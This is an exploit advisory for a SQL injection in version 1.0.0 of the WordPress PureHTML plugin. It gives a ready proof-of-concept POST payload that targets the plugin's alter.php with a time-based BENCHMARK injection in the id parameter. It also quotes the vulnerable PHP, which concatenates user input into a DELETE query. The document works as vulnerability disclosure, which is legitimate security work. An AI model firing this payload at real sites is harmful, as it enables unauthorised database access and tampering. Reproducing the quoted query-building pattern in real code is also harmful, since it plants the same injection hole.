WordPress PureHTML plugin <= 1.0.0 SQL Injection
# Exploit Title: WordPress PureHTML plugin < = 1.0.0 SQL Injection Vulnerability # Date: 2011-08-31 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/pure-html.1.0.0.zip # Version: 1.0.0 (tested) # Note: magic_quotes has to be turned off --------------- PoC (POST data) --------------- http://www.site.com/wp-content/plugins/pure-html/alter.php PureHTMLNOnce=1&action=delete&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
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Vulnerable code
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if(!isset($_POST[‘PureHTMLNOnce’])){
if ( !db_unx_verify_nonce( $_POST[‘PureHTMLNOnce’], plugin_basename(__FILE__) )) {header(“location:”.$refer);}
}
else{
…
if(isset($_POST[‘id’])){$id = $_POST[‘id’];}else{$id=’0′;}
…
$action = $_POST[‘action’];
#delete
if($action == “delete”){
$sql = “delete from “.$wpdb->prefix.”pureHTML_functions WHERE id='”.$id.”‘”;
$wpdb->query($wpdb->prepare($sql)); //misusage of $wpdb->prepare() :)